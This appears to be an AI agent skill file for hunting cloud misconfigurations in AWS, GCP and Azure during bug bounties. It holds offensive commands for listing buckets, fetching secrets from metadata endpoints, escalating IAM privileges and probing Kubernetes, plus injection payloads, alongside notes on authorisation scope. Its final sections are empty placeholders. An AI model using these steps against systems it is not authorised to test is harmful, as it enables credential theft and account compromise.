cloud-hunter

name: cloud-hunter description: Cloud infrastructure misconfiguration hunting for AWS, GCP, and Azure. Use when testing cloud assets, finding exposed S3 buckets, hunting IAM misconfigs, or testing serverless applications. domain: cybersecurity tags:

• aws
• azure
• cloud
• cybersecurity
• gcp
• hunter
• security
• testing

Cloud Hunter

Cloud misconfigs are low-hanging fruit that pay $500-$50,000. Exposed buckets, overprivileged IAM, public databases — automated tools miss the creative ones.

When to Use

• Testing cloud-hosted applications
• Hunting exposed S3/GCS/Azure Blob storage
• Auditing IAM policies and roles
• Testing serverless functions (Lambda/Cloud Functions)
• Finding cloud metadata endpoint access
• Assessing container security (EKS/GKE/AKS)

The Process

1. Inventory cloud assets — enumerate services, roles, and configurations in scope
2. Assess configurations — check against security best practices and CIS benchmarks
3. Test access controls — verify IAM policies, network ACLs, and security group rules
4. Validate logging — ensure audit trails are enabled and properly retained
5. Document and remediate — report findings with specific configuration changes needed

1. Cloud Asset Discovery

# S3 bucket enumeration
# Pattern: {company}-{env}-{purpose}
# Try: company-prod, company-staging, company-backup, company-logs
# Tools: cloud_enum, S3Scanner, bucket-finder

# Subdomain → Cloud service mapping
# CNAME → *.s3.amazonaws.com (S3)
# CNAME → *.cloudfront.net (CloudFront)
# CNAME → *.azurewebsites.net (Azure App Service)
# CNAME → *.googleusercontent.com (GCP)

# Certificate transparency for cloud assets
# Search crt.sh for *.target.com
# Look for: s3, cloudfront, azure, gcp subdomains

2. S3 Bucket Attacks

Public Bucket Discovery

# Check if bucket is publicly listable
curl https://BUCKET.s3.amazonaws.com/
curl https://s3.amazonaws.com/BUCKET/

# List objects
aws s3 ls s3://BUCKET --no-sign-request

# Check specific files
curl https://BUCKET.s3.amazonaws.com/.env
curl https://BUCKET.s3.amazonaws.com/backup.sql
curl https://BUCKET.s3.amazonaws.com/config.json
curl https://BUCKET.s3.amazonaws.com/.git/config

Bucket Misconfigurations

• Public read: Anyone can list and download objects
• Public write: Anyone can upload (malware hosting, phishing)
• ACL misconfigured: AuthenticatedUsers group has access
• Policy too permissive: "Principal": "*" in bucket policy
• Versioning enabled + public: Old versions may contain deleted secrets

3. IAM Exploitation

Overprivileged Roles

// Look for these dangerous policies:
{
  "Effect": "Allow",
  "Action": "*",
  "Resource": "*"
}

// Or overly permissive:
"Action": ["iam:*", "sts:*", "s3:*", "lambda:*"]

Privilege Escalation Paths

iam:PassRole + lambda:CreateFunction → Execute code with any role
iam:AttachUserPolicy → Give yourself admin
iam:CreateAccessKey → Get permanent credentials
sts:AssumeRole → Pivot to other accounts
ec2:RunInstance → Launch instance with instance profile

Cross-Account Access

# Check trust policies
aws iam get-role --role-name ROLE_NAME
# Look for: "Principal": {"AWS": "arn:aws:iam::OTHER_ACCOUNT:root"}

# If trusted account is compromised → assume role
aws sts assume-role --role-arn arn:aws:iam::TARGET:role/ROLE --role-session-name hack

4. Metadata Endpoint Attacks

# IMDSv1 (no token required)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

# IMDSv2 (requires token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP metadata
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure metadata
curl -H "Metadata:true" \
  http://169.254.169.254/metadata/instance?api-version=2021-02-01

5. Serverless Attacks

Lambda/Cloud Functions

# Environment variables often contain secrets
aws lambda get-function-configuration --function-name NAME

# Code injection via input
# If Lambda processes user input unsafely:
{"body": "'; DROP TABLE users; --"}
{"body": "{{constructor.constructor('return this')().process.env}}"}

# Lambda layer poisoning
# If you can modify layers → all functions using that layer are compromised

6. Database Exposure

# Public RDS instances
# Check security groups for 0.0.0.0/0 on port 3306/5432

# Public ElasticSearch
# Look for: *.es.amazonaws.com with open access

# Public Redis/Memcached
# Port 6379/11211 accessible from internet

# MongoDB without auth
# Port 27017 accessible, no authentication required

7. Container Security

# Kubernetes API server exposure
curl https://K8S_API:6443/api/v1/namespaces

# kubelet API
curl https://NODE:10255/pods

# Container escape via privileged mode
# If container runs as privileged:
# Can access host filesystem, load kernel modules

# Image scanning
# Look for secrets in Docker images
docker history IMAGE --no-trunc
docker inspect IMAGE

Quick Wins (Most Common Findings)

When NOT to Use

• Task is outside your authorization scope
• You need to implement controls (use implementing-* skills)
• Task is about analysis, not action (use analyzing-* skills)
• You don't have access to target systems
• Task requires compliance expertise (consult professionals)
• Task is about defense, not offense (use defensive skills)

Red Flags

• Accessing real production data during testing
• Modifying IAM policies or roles
• Launching resources in someone's account
• Exfiltrating data from exposed buckets
• Not documenting scope of access

Verification

• All findings demonstrate actual access (not just theoretical)
• Screenshots of accessed data (sanitized)
• IAM policies documented with specific overprivileged actions
• Metadata endpoint access proven with credential dump (sanitized)
• Remediation specific to the cloud provider

Tools

Overview

Section content — see SKILL.md body for full details.

Process

1. Analyze the task requirements
2. Apply domain expertise
3. Verify output quality